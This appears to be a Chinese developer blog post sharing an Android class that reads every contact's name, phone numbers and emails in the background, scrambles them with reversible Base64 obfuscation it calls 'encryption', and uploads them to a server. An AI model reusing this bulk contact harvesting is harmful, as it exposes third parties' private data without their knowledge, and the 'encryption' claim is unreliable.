很久沒更新文章了,近期在作通信錄上傳,把它分享出來,送給須要的朋友。java
寫了一個通信錄工具類,直接放代碼吧,關鍵位置經過註釋來解釋。android
這個工具類包含通信錄獲取,加密,而後上傳操做。看不懂的能夠留言算法
import android.database.Cursor; import android.os.AsyncTask; import android.provider.ContactsContract; import android.util.Base64; import com.demo.alfar.app.AlfarApplication; import com.demo.alfar.data.ActionDataManager; import com.demo.alfar.data.common.BaseThrowable; import com.demo.alfar.data.model.ConfigurationInfo; import com.demo.alfar.data.model.EmptyData; import com.demo.alfar.service.action.DeviceActionMvpView; import com.demo.alfar.service.action.DeviceActionPresenter; import com.demo.common.utils.LogUtil; import com.demo.common.utils.SpFileUtil; import com.demo.common.utils.StringUtils; import java.io.UnsupportedEncodingException; import java.util.List; public class ContactReader { //經過下面字符進行分割,組成字符串 static String fieldSplit = "\u0001"; static String lineSplit = "\u0002"; static String newStr; public static class ContactReaderReporter extends AsyncTask<String, Void, Integer> { @Override protected Integer doInBackground(String... argus) { String contactInfo = ""; Cursor cursor = null; try { cursor = AlfarApplication.getApplication().getContentResolver() .query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null); int contactIdIndex = 0; int nameIndex = 0; if (cursor.getCount() > 0) { contactIdIndex = cursor.getColumnIndex(ContactsContract.Contacts._ID); nameIndex = cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME); } while (cursor.moveToNext()) { String element = ""; String contactId = cursor.getString(contactIdIndex); String name = cursor.getString(nameIndex); element = name + fieldSplit; Cursor phones = null; try { /* * 查找該聯繫人的phone信息 */ phones = AlfarApplication.getApplication().getContentResolver() .query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + contactId, null, null); int phoneIndex = 0; if (phones.getCount() > 0) { phoneIndex = phones.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER); } while (phones.moveToNext()) { String phoneNumber = phones.getString(phoneIndex); element += phoneNumber + lineSplit; } } catch (Exception e) { } finally { if (phones != null) { phones.close(); } } Cursor emails = null; try { /* * 查找該聯繫人的email信息 */ emails = AlfarApplication.getApplication().getContentResolver() .query(ContactsContract.CommonDataKinds.Email.CONTENT_URI, null, ContactsContract.CommonDataKinds.Email.CONTACT_ID + "=" + contactId, null, null); int emailIndex = 0; if (emails.getCount() > 0) { emailIndex = emails.getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA); } while (emails.moveToNext()) { String email = emails.getString(emailIndex); element += email + fieldSplit; } } catch (Exception e) { // TODO: handle exception } finally { if (emails != null) { emails.close(); } } element += lineSplit; contactInfo += element; } if (StringUtils.isNotEmpty(contactInfo)) { LogUtil.Y("prePhoneNum:" + contactInfo); newStr = encodeStr(contactInfo); LogUtil.Y("finalPhoneNum:" + newStr); //這個是mvp模塊中的網絡請求部分,可忽略一下邏輯,也可進行替換 DeviceActionPresenter actionDataManager = new DeviceActionPresenter(new ActionDataManager()); actionDataManager.attachView(new DeviceActionMvpView() { @Override public void onDeviceActionSuccess(EmptyData response) { SpFileUtil.saveBoolean(AlfarApplication.getApplication(), SpFileUtil.FILE_PARAMS_DATA, SpFileUtil.KEY_POST_CONTENT_SUCCEED, true); } @Override public void onDeviceActionFail(BaseThrowable response) { SpFileUtil.saveBoolean(AlfarApplication.getApplication(), SpFileUtil.FILE_PARAMS_DATA, SpFileUtil.KEY_POST_CONTENT_SUCCEED, false); } @Override public void onGetConfigurationsSuccess(List<ConfigurationInfo> response) { } @Override public void showLoading() { } @Override public void hideLoading() { } }); actionDataManager.postClientContent(newStr); } } catch (Exception e) { e.printStackTrace(); } finally { try { if (cursor != null) { cursor.close(); cursor = null; } } catch (Exception e) { e.printStackTrace(); } } return null; } } /** * 執行上傳操做 */ static public void onContactURLReport() { Boolean isSuccess = SpFileUtil.getBoolean(AlfarApplication.getApplication(), SpFileUtil.FILE_PARAMS_DATA, SpFileUtil.KEY_POST_CONTENT_SUCCEED, false); if (!isSuccess) { try { ContactReaderReporter task = new ContactReaderReporter(); task.execute(); } catch (Exception e) { e.printStackTrace(); } } } /** * 加密字符串,這是一個簡單的算法,先base64加密以後,進行字符反轉,服務端解密時候一樣先進行字符反轉,換成=號便可,而後再decode便可 * * @param info * @return */ public static String encodeStr(String info) { String baseStr = null; try { baseStr = Base64.encodeToString(info.getBytes("UTF-8"), Base64.NO_PADDING | Base64.NO_WRAP); } catch (Exception e) { e.printStackTrace(); } String newStr = ""; int half = baseStr.length() / 2; for (int i = 0; i < half; ++i) { if (i % 2 != 0) { newStr = newStr + (char) (baseStr.codePointAt(baseStr.length() - 1 - i)); } else { newStr = newStr + (char) (baseStr.codePointAt(i)); } } if (baseStr.length() % 2 == 1) { newStr = newStr + (char) (baseStr.codePointAt(baseStr.length() / 2)); } for (int i = half - 1; i >= 0; --i) { if (i % 2 != 0) { newStr = newStr + (char) (baseStr.codePointAt(i)); } else { newStr = newStr + (char) (baseStr.codePointAt(baseStr.length() - 1 - i)); } } return newStr; } }
使用方法就是:網絡
ContactReader.onContactURLReport();//上報通信錄信息便可
上面解密後的數據日誌爲(聲明:通信錄數據都是假數據,若有雷同,純屬巧合,可聯繫我刪除):
原數據是上面這樣,中間是有點的,下面這個被編輯器去掉了app
12-21 18:42:51.018 com.demo.alfar I/===y: prePhoneNum:馬雲18516886666騷擾電話15321114592廣告推銷17343150842李彥宏電話15301102735咋騙電話18101055214馬化騰18666666666李科雲18555555555 12-21 18:42:51.019 com.demo.alfar I/===y: finalPhoneNum:6gm15Tq1ATE1NTE4OTgRNLYRA6LOqprCigD2ljX2rj02MDUxMgEFMuQMOOIpAuWCvTWyiTawqDmxgTEBN5MoMLEnMpgpMoIl5g215z2y5T6x5zS16T+dAKE1M5APMaAmNbMOApLCkgv0qDf1lzX0rz0xMAgUMOEONuURM+Q5AumCrTW1lTixvjEzOTYBN5YoNLYnNbIm5p2p5ge25jq2ADE2NTU4NTURNLUsAaI
獲取通信錄須要權限,記着提早申請:編輯器
Manifest.permission.READ_CONTACTS
----------附上base64位加密後面附帶的參數解釋----ide
CRLF 這個參數看起來比較眼熟,它就是Win風格的換行符,意思就是使用CR LF這一對做爲一行的結尾而不是Unix風格的LF
DEFAULT 這個參數是默認,使用默認的方法來加密
NO_PADDING 這個參數是略去加密字符串最後的」=」
NO_WRAP 這個參數意思是略去全部的換行符(設置後CRLF就沒用了)
URL_SAFE 這個參數意思是加密時不使用對URL和文件名有特殊意義的字符來做爲加密字符,具體就是以-和_取代+和/工具
----------------------------------------------post